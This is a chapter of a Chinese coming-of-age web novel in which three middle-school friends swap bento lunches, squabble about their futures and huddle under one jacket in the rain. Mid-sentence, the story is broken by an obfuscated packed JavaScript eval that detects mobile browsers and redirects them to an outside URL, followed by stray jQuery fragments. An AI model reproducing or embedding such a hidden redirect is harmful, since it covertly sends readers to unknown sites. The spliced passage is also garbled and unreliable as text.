时光如溪流般淌过町屋后巷的青苔石阶，转眼间，少年少女们踏入了各自的初中轨迹。


    小葵穿着笔挺的水手服，裙摆拂过女校门前盛开的紫阳花。


    她不再像小学时那样追着健太钉歪扭的纽扣，但那份笨拙的关切却化作了另一种形式——便当盒。


    每个周末，她必定提着一个沉甸甸、裹着帕恰狗图案保温布的便当盒，穿过几条街，敲响町屋的仓库门。


    “尝尝！”她眼睛亮晶晶的，带着实验室般的紧张和期待，把饭盒塞到健太手里，“新研制的‘葵特制酱烧猪排’，还有加了味淋的玉子烧！”


    饭盒打开，香气混合着隐约的焦糊味弥漫在旧轮胎和机油的气息里。健太拿起筷子，沉默而认真地吃着。


    他吃得很快，腮帮鼓起，像一只专心进食的小动物，眉头都未曾皱一下。


    “怎么样？”小葵屏住呼吸。


    健太点点头，又扒了一大口饭。这便是他最高的赞赏了。


    “喂喂喂！”阿宏总是恰到好处地出现，他刚从自家柏青哥店后门溜出来，身上还带着新出游戏币的金属气味。


    他毫不客气地抢过健太手里的筷子，夹起一块猪排塞进嘴里。“噗——”他夸张地做出呕吐状，“小葵！你这猪排外面是盔甲里面是柴火吗？盐放得比爷爷的血压还高！健太这家伙，你往他饭里加点老鼠药他都吃不出味来！”


    小葵气得涨红了脸，挥舞着拳头：“阿宏！闭嘴！健太都说好吃了！你这个柏青哥店未来的小老板懂什么料理！”


    阿宏撇撇嘴，把书包甩在油腻的地上，挨着健太坐下。他上了一所普通的公立中学，校服松松垮垮，头发总是不服帖地翘着几根。


    “嘁，我懂什么？我至少懂吃！健太这家伙，你给他吃金子还是吃土他都一个表情，他的话能信？”话虽刻薄，他却自然地把自己带来的、奶奶精心准备的鱼籽饭团推到健太面前，“喏，这个才叫能吃，健太你尝尝这个。”


    健太看看被阿宏嫌弃的猪排饭，又看看喷香的鱼籽饭团，默默地把两个饭盒都拉到自己面前，交替着吃了起来。


    阳光透过仓库高窗的灰尘，照在他低垂的眼睫上，也照在阿宏嫌弃又无奈的表情和小葵气鼓鼓却又忍不住偷看健太反应的侧脸上。一种微妙的、只属于他们三人的平衡在空气里浮动，带着少年人特有的、粗糙又真实的温度。


    阿宏的生活并非只有嘲笑小葵的便当。柏青哥店的霓虹招牌日夜闪烁，爷爷希望这闪烁能照亮孙子通往大学的路。


    每当阿宏放学后蹲在柜台后写作业，爷爷总会踱过来，把一张大学宣传单压在阿宏的习题册上，或者指着电视里西装革履的精英人士，絮絮叨叨：“阿宏啊，看看人家，坐办公室，多体面呐！比守着这叮叮当当的机器强……”


    “爷爷！”阿宏烦躁地抓抓头发，笔尖在纸上划出深深的痕迹，“那些书我根本看不进去！再说，店里生意这么好，我接手有什么不好？我懂机器，我能让它更赚钱！”他指着角落里一台新进的、闪烁着华丽灯光的柏青哥机，眼神里有种近乎本能的熟稔和骄傲。


    那是他从小摸爬滚打的世界，机器的节奏和韵律早已刻进他的骨血。


    争吵常常发生，声音穿透薄薄的隔扇门，传到后巷。


    健太有时在仓库里对着墙壁练习投球，“咚、咚”的闷响会短暂地盖过争执声。


    争吵平息后，阿宏会带着一身未散的郁闷和几枚偷偷带来的游戏币，溜进仓库，把币塞给健太：“喂，哑巴，投准点，打中那个标记，币就归你。”仿佛用这种男孩间特有的方式，就能驱散那些关于未来的沉重。


    小葵则在女校的料理教室里找到了新的战场。


    她系上洁白的围裙，笨拙但极其认真地切着卷心菜丝，试图让它们变得均匀。


    她悄悄立下了志愿：要成为一名做饭超级好吃的女白领！


    这个念头像一颗种子，在阿宏一次次的“毒舌”评价和健太无声的吞咽中，顽强地扎下了根，并且越发清晰。


    她甚至开始在笔记本上涂涂画画，设计未来便当的菜谱，旁边还标注着“阿宏禁止偷看！”。


    健太的世界依旧围绕着棒球旋转。在天赋的荣光尚未完全降临、在甲子园的梦想还只是一个遥远符号的日子里，他的沉默并非孤独。


    他身边有建人哥偶尔别扭的关心，有美咲姐永远温暖的唠叨，有铁平大哥粗声大气的支撑。


    更有阿宏那带着柏青哥店硝烟气息的吐槽和偷偷递来的饭团，有小葵那充满实验精神、味道起伏不定却饱含心意的“葵特制”便当。


    他们的存在，像梅雨季里偶尔穿透厚重云层的、带着暖意的光斑，并不耀眼夺目，却足以让仓库角落那个沉默练习投球的少年，在每一次转身、每一次挥臂时，清晰地感知到脚下并非无人岛。


    这淡淡的、带着青春特有烦恼的幸福，如同小葵便当盒里那偶尔成功一次的、金黄的玉子烧边缘，虽然可能有点焦糊，但内里柔软温热，是支撑他走向更广阔球场的、最初也最坚实的土壤。


    梅雨像一张湿透的旧报纸，黏糊糊地贴在放学路上。豆大的雨点毫无预兆地砸下来，柏油路面瞬间腾起一片灰蒙蒙的雾气。


    “糟了！”小葵惊呼，抱着书包缩在便利店窄小的屋檐下。


    她的水手服肩头迅速洇开深色的水痕。阿宏紧随其后，校服外套已经半湿，头发狼狈地贴在额角。


    健太是最后一个跑到的，棒球手套被他紧紧护在怀里，像抱着什么稀世珍宝，雨水顺着他倔强的短发往下淌，在脚边聚成一小滩。


    便利店檐下空间逼仄，三人挤作一团，湿冷的空气里混杂着雨水、柏油路的气味，还有少年人身上蒸腾出的、略带汗意的青春气息。


    “完蛋，谁都没带伞。”阿宏抹了把脸上的水，语气带着惯有的烦躁，眼神却在小葵湿漉漉的刘海和微微发白的嘴唇上飞快地扫过。


    雨势丝毫没有减弱的迹象，反而越下越急，敲打着遮阳棚发出密集的鼓点。再等下去，只会湿得更透。


    “啧。”阿宏低咒一声，动作带着点粗鲁的意味，猛地脱下自己那件半湿的校服外套。


    深蓝色的涤纶布料吸饱了水汽，沉甸甸的。“愣着干嘛！靠过来点！”他几乎是命令式地对小葵和健太说，手臂一扬，将那件宽大的外套撑开，像一面小小的、摇摇欲坠的旗帜，勉强遮挡在三人头顶。


    小葵愣了一下，随即像只受惊的小鸟，下意识地往那片“庇护”下缩了缩。


    她离阿宏很近，近得能闻到他校服上残留的、属于柏青哥店特有的金属和香烟混合的淡淡气味，还有一种属于阿宏自己的、说不清的、蓬勃的男孩气息。


    这让她心跳莫名快了一拍，脸颊有些发烫，不知是冷的还是别的什么原因。


    几乎同时，健太也默默靠了过来。他依旧沉默着，但身体很自然地倾向了外套下更干燥的空间。


    他和小葵的肩膀几乎挨在了一起。健太身上没有汗味，只有一种干净的、带着雨水清冽的气息，混杂着棒球皮革特有的、干燥而令人安心的味道。


    这味道让小葵的心跳更快了，像揣了只迷路的小鹿。她甚至能感觉到健太手臂上透过湿透衬衫传来的、属于运动男孩的温热体温。


    她悄悄地把身体重心往健太那边挪了微不可察的一点点，低着头，盯着自己白色短袜边缘溅上的泥点，仿佛那是世界上最值得研究的东西。


    阿宏撑着外套的手臂绷得很直，肌肉因为用力而微微隆起。


    雨水顺着他高举的胳膊流进袖管，冰凉刺骨。他眼角的余光瞥见小葵微微泛红的耳廓，和她那几乎贴在健太手臂上的肩膀。


    一股莫名的酸涩感，像一颗青涩的梅子核，突然卡在了喉咙里。


    他想说点什么，比如像往常一样嘲笑小葵“脸怎么红得像煮熟的章鱼”，或者揶揄健太“哑巴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820198|170792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    离人家女孩子远点”，但话到嘴边，却被这冰冷的雨水和眼前这微妙的一幕给堵了回去。


    他只能更用力地绷紧手臂，把外套撑得更开些，让那点可怜的遮蔽尽可能覆盖住三人，尤其是小葵湿透的肩头。


    健太呢？他的世界仿佛被雨水冲刷得更加纯粹。


    他全部的注意力都在怀里那只棒球手套上，担心雨水渗进去泡坏了内衬的软垫。他微微侧着身体，本能地用自己相对干燥的背脊去阻挡侧面吹来的风雨，无意中形成了一个更贴近小葵的姿势。


    他能感觉到小葵的紧张，那份细微的颤抖透过衣料传递过来，但他只当是冷的。他的心思飘向了更远的地方——刚才训练时那个没投好的曲球，旋转的角度似乎还不够刁钻。


    雨水顺着发梢滴落，滑过他的眉骨，他下意识地眯起眼，视线穿透迷蒙的雨幕，仿佛在凝视着某个只有他自己能看见的投手丘。


    小小的“庇护所”下，三个湿漉漉的少年心思各异。


    小葵的心跳在健太的气息和阿宏撑起的臂膀之间鼓噪，一种朦胧的、带着雨雾湿气的悸动，让她既想靠近又不知所措。


    她偷偷抬眼，只看到健太被雨水打湿的、专注凝视着雨幕的侧脸轮廓，线条干净又带着少年人特有的倔强。


    阿宏的手臂又酸又冷，心里的那股酸涩却越来越清晰。


    他看着小葵低垂的、泛红的脖颈，再看看健太那副浑然不觉、只关心棒球的呆样，一种混杂着烦躁、不甘和某种笨拙保护欲的情绪在胸腔里翻腾。


    他抿紧了嘴唇，下颌线绷得紧紧的。


    健太的感官则被棒球手套的触感和雨声占据。


    小葵的靠近和阿宏的支撑，对他来说只是避雨时自然而然发生的物理现象，像风吹动树叶一样无需过多思考。


    他唯一能清晰感知的，是雨水敲打外套的声音，像无数颗小石子砸在泥土上——那声音，很像棒球砸进捕手手套时发出的、令他心安的闷响。


    “跑吧！”阿宏突然低吼一声，像是要驱散这令人窒息的沉默和心头莫名的憋闷。他率先冲了出去，高举着那件已经湿透、变得异常沉重的“旗帜”。


    小葵和健太立刻跟上。三人在滂沱大雨中奔跑，阿宏的外套像一片在狂风中挣扎的蓝色帆布，勉强维系着三人之间那点脆弱的连接。


    雨水模糊了视线，冰冷地拍打在脸上、身上。奔跑中，小葵的指尖无意间擦过健太的手背，那瞬间的微凉触感让她心头一，脚步差点踉跄。而阿宏为了调整外套位置，手臂不可避免地碰到了小葵的肩膀，那短暂的接触让他像被烫到一样猛地缩回一点，随即又更用力地将外套撑回去，仿佛在跟谁较劲。


    终于跑到了町屋仓库的屋檐下。三人气喘吁吁，浑身湿透，像三只刚从水里捞出来的小动物。


    阿宏一把扯下湿透的外套，胡乱抹了把脸，看也不看小葵和健太，嘟囔着：“累死了！这破雨！”声音里带着一丝不易察觉的狼狈和赌气。他把湿外套重重地甩在旁边的轮胎上，溅起一片水花。


    小葵抱着书包，头发狼狈地贴在脸颊，偷偷抬眼看向健太。


    健太正小心翼翼地从怀里拿出棒球手套，仔细检查着内衬，确认它安然无恙后，才几不可闻地松了口气。他脸上没有任何多余的表情，只有一种物品完好的平静。


    小葵看着他专注检查手套的侧影，再看看阿宏背对着他们、用力拧着外套下摆水渍的背影，心里那点刚刚在雨中萌芽的、湿漉漉的悸动，也像被这冰冷的雨水浇了一下，变得有些模糊不清，只剩下一种说不清道不明的、带着雨水泥土气息的、微涩的怅然。


    仓库里弥漫着旧轮胎、机油和雨水混合的潮湿气味。这场突如其来的大雨，像一只无形的手，在他们尚未厘清的心湖里投下了几颗小小的石子，涟漪无声地漾开，又悄然隐没在更深的、名为成长的雨季里。谁也没有说破，或许连他们自己，也还读不懂那涟漪的形状。